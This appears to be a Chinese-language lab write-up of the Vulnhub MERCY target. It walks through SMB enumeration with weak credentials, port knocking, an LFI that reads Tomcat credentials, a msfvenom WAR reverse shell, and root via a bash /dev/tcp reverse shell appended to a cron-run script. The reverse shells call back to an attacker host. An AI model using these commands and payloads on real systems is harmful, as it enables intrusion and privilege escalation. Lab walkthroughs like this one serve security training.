[Vulnhub] MERCY SMB+RIPS-LFI+Tomcat+Ports-Knocking+Timeclock权限提升
字数 1423 2025-08-19 12:40:48

MERCY靶机渗透测试详细教学文档

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行全端口扫描:

nmap -p- 192.168.101.151 --min-rate 1000 -sC -sV

发现开放端口:

  • 53/tcp - DNS (ISC BIND 9.9.5-3ubuntu0.17)
  • 110/tcp - POP3 (Dovecot)
  • 139/tcp - NetBIOS/SMB
  • 143/tcp - IMAP (Dovecot)
  • 445/tcp - SMB (Samba 4.3.11-Ubuntu)
  • 993/tcp - SSL/IMAP
  • 995/tcp - SSL/POP3
  • 8080/tcp - HTTP (Apache Tomcat)

1.2 检查Tomcat

访问Tomcat管理界面:

http://192.168.101.151:8080/manager/html

查看robots.txt发现提示:

http://192.168.101.151:8080/robots.txt

解码base64信息:

echo 'SXQncyBhbm5veWluZywgYnV0IHdlIHJlcGVhdCB0aGlzIG92ZXIgYW5kIG92ZXIgYWdhaW46IGN5YmVyIGh5Z2llbmUgaXMgZXh0cmVtZWx5IGltcG9ydGFudC4gUGxlYXNlIHN0b3Agc2V0dGluZyBzaWxseSBwYXNzd29yZHMgdGhhdCB3aWxsIGdldCBjcmFja2VkIHdpdGggYW55IGRlY2VudCBwYXNzd29yZCBsaXN0LgoKT25jZSwgd2UgZm91bmQgdGhlIHBhc3N3b3JkICJwYXNzd29yZCIsIHF1aXRlIGxpdGVyYWxseSBzdGlja2luZyBvbiBhIHBvc3QtaXQgaW4gZnJvbnQgb2YgYW4gZW1wbG95ZWUncyBkZXNrISBBcyBzaWxseSBhcyBpdCBtYXkgYmUsIHRoZSBlbXBsb3llZSBwbGVhZGVkIGZvciBtZXJjeSB3aGVuIHdlIHRocmVhdGVuZWQgdG8gZmlyZSBoZXIuCgpObyBmbHVmZnkgYnVubmllcyBmb3IgdGhvc2Ugd2hvIHNldCBpbnNlY3VyZSBwYXNzd29yZHMgYW5kIGVuZGFuZ2VyIHRoZSBlbnRlcnByaXNlLg==' | base64 -d

解码后信息提示密码安全性问题。

2. SMB服务利用

2.1 枚举SMB用户

使用enum4linux枚举用户:

enum4linux 192.168.101.151

发现用户凭据:

  • 用户名: qiu
  • 密码: password

2.2 访问SMB共享

使用smbmap检查共享权限:

smbmap -H 192.168.101.151 -u 'qiu' -p 'password'

递归列出共享内容:

smbmap -H 192.168.101.151 -u 'qiu' -p 'password' -s qiu -r --depth 10

使用smbclient连接并下载文件:

smbclient //192.168.101.151/qiu -U qiu
smb: \> lcd ./dev
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

检查下载的配置文件:

cat .private/opensesame/config

发现端口敲门序列:

  • HTTP: 159, 27391, 4
  • SSH: 17301, 28504, 9999

3. 端口敲门与进一步枚举

3.1 执行端口敲门

开放SSH端口:

knock 192.168.101.151 17301 28504 9999 -d 300 -v

开放HTTP端口:

knock 192.168.101.151 159 27391 4 -d 300 -v

3.2 目录爆破

使用dirb进行目录爆破:

dirb http://192.168.101.151/

发现以下路径:

http://192.168.101.151/robots.txt
http://192.168.101.151/nomercy/
http://192.168.101.151/mercy/

3.3 LFI漏洞利用

发现LFI漏洞:

http://192.168.101.151/nomercy/windows/code.php?file=etc/passwd

利用LFI读取Tomcat用户配置:

http://192.168.101.151/nomercy/windows/code.php?file=var/lib/tomcat7/conf/tomcat-users.xml

获取Tomcat凭据:

  • 用户名: fluffy
  • 密码: freakishfluffybunny
  • 用户名: thisisasuperduperlonguser
  • 密码: heartbreakisinevitable

4. Tomcat利用

4.1 访问Tomcat管理界面

使用获取的凭据登录:

http://192.168.101.151:8080/manager/html

4.2 部署反向Shell

生成war格式的反向shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.101.128 LPORT=10032 -f war > reverse.war

上传并访问reverse.war获取反向shell。

5. 权限提升

5.1 初始访问

获取tomcat7用户shell后,尝试切换到fluffy用户:

su fluffy

使用密码: freakishfluffybunny

5.2 查找敏感文件

检查fluffy用户目录:

ls -la /home/fluffy/.private/secrets

发现timeclock文件可能被定期执行。

5.3 权限提升方法

方法一:使用pspy监控进程:

./pspy32

方法二:向timeclock写入反向shell:

echo "/bin/bash -c 'bash -i >& /dev/tcp/192.168.101.128/10034 0>&1'" >> /home/fluffy/.private/secrets/timeclock

等待定时任务执行获取root权限。

6. 获取Flag

  • Local.txt内容:
Plz have mercy on me!
  • Proof.txt内容:
Congratulations on rooting MERCY. :-)

关键知识点总结

  1. 密码安全性:靶机中多次出现弱密码问题,如"password"、"freakishfluffybunny"等

  2. SMB枚举:使用enum4linux和smbmap工具枚举SMB共享和用户

  3. 端口敲门:通过特定端口序列触发服务开放

  4. LFI漏洞:利用本地文件包含读取系统敏感文件

  5. Tomcat管理界面利用:通过上传war文件获取反向shell

  6. 定时任务提权:通过监控进程发现并利用定时任务实现权限提升

  7. 隐蔽数据存储:敏感信息常存储在隐藏目录(.private)中

防御建议

  1. 使用强密码策略,避免简单密码
  2. 限制SMB共享的匿名访问
  3. 禁用不必要的服务
  4. 及时修补LFI漏洞
  5. 限制Tomcat管理界面的访问
  6. 监控系统定时任务
  7. 实施最小权限原则
MERCY靶机渗透测试详细教学文档 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行全端口扫描: 发现开放端口: 53/tcp - DNS (ISC BIND 9.9.5-3ubuntu0.17) 110/tcp - POP3 (Dovecot) 139/tcp - NetBIOS/SMB 143/tcp - IMAP (Dovecot) 445/tcp - SMB (Samba 4.3.11-Ubuntu) 993/tcp - SSL/IMAP 995/tcp - SSL/POP3 8080/tcp - HTTP (Apache Tomcat) 1.2 检查Tomcat 访问Tomcat管理界面: 查看robots.txt发现提示: 解码base64信息: 解码后信息提示密码安全性问题。 2. SMB服务利用 2.1 枚举SMB用户 使用enum4linux枚举用户: 发现用户凭据: 用户名: qiu 密码: password 2.2 访问SMB共享 使用smbmap检查共享权限: 递归列出共享内容: 使用smbclient连接并下载文件: 检查下载的配置文件: 发现端口敲门序列: HTTP: 159, 27391, 4 SSH: 17301, 28504, 9999 3. 端口敲门与进一步枚举 3.1 执行端口敲门 开放SSH端口: 开放HTTP端口: 3.2 目录爆破 使用dirb进行目录爆破: 发现以下路径: 3.3 LFI漏洞利用 发现LFI漏洞: 利用LFI读取Tomcat用户配置: 获取Tomcat凭据: 用户名: fluffy 密码: freakishfluffybunny 用户名: thisisasuperduperlonguser 密码: heartbreakisinevitable 4. Tomcat利用 4.1 访问Tomcat管理界面 使用获取的凭据登录: 4.2 部署反向Shell 生成war格式的反向shell: 上传并访问reverse.war获取反向shell。 5. 权限提升 5.1 初始访问 获取tomcat7用户shell后,尝试切换到fluffy用户: 使用密码: freakishfluffybunny 5.2 查找敏感文件 检查fluffy用户目录: 发现timeclock文件可能被定期执行。 5.3 权限提升方法 方法一:使用pspy监控进程: 方法二:向timeclock写入反向shell: 等待定时任务执行获取root权限。 6. 获取Flag Local.txt内容: Proof.txt内容: 关键知识点总结 密码安全性 :靶机中多次出现弱密码问题,如"password"、"freakishfluffybunny"等 SMB枚举 :使用enum4linux和smbmap工具枚举SMB共享和用户 端口敲门 :通过特定端口序列触发服务开放 LFI漏洞 :利用本地文件包含读取系统敏感文件 Tomcat管理界面利用 :通过上传war文件获取反向shell 定时任务提权 :通过监控进程发现并利用定时任务实现权限提升 隐蔽数据存储 :敏感信息常存储在隐藏目录(.private)中 防御建议 使用强密码策略,避免简单密码 限制SMB共享的匿名访问 禁用不必要的服务 及时修补LFI漏洞 限制Tomcat管理界面的访问 监控系统定时任务 实施最小权限原则